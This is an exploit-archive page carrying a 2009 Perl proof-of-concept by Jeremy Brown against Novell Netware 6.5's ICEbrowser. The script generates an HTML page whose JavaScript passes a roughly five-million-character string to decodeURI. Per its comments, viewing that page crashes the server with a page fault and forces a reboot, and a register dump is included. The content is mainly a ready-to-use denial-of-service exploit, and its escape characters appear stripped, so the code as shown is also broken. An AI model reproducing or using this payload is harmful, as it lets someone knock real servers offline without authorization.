[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Novell Netware 6.5 (ICEbrowser) Remote System DoS Exploit
# Published : 2009-01-16
# Author : Jeremy Brown
# Previous Title : QNX 6.4.0 bitflipped elf binary (id) Kernel Panic Exploit
# Next Title : MPlayer 1.0rc2 TwinVQ Stack Buffer Overflow PoC


#!/usr/bin/perl
# novellnw_ib_sysdos.pl
# Novell Netware 6.5 (ICEbrowser) Remote System Denial of Service Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
#
# "Mozilla/5.0 (NetWare; U; NetWare 6.50.06; en-US) ICEbrowser/6.1.2 NovellViewPort/3.7.2"
#
# After target views exploit page, the browser will sorta hang, then a fault occurs and the system reboots.
# 
# Abend 1 on P00: Server-5.70.06: Page Fault Processor Exception (Error code 00000000)
# 
# Registers:
#     CS = 0008 DS = 0010 ES = 0010 FS = 0010 GS = 007B SS = 0010
#     EAX = 00000000 EBX = 9687EF4C ECX = 004EB8F0 EDX = 000000E4
#     ESI = 00000000 EDI = 00000001 EBP = 8D9E7F3C ESP = 86179EF4
#     EIP = 00000000 FLAGS = 00010086 
#     
#     Access Location: 0x00000000
# 
# "Additional Information: The hardware detected a problem while executing an interrupt
# service routine.  The code being executed is owned by SERVER.NLM.  It may be the source
# of the problem or there may have been a memory corruption."
# 
# Tested on Novell Netware 6.5 SP6 (5.70.06)

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>n";

}

$head = "<html>" . "n" . "<script type="text/javascript">" . "n";
$trig = "decodeURI("" . "A" x 5005000 . "");" . "n";
$foot = "</script>" . "n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# www.Syue.com [2009-01-16]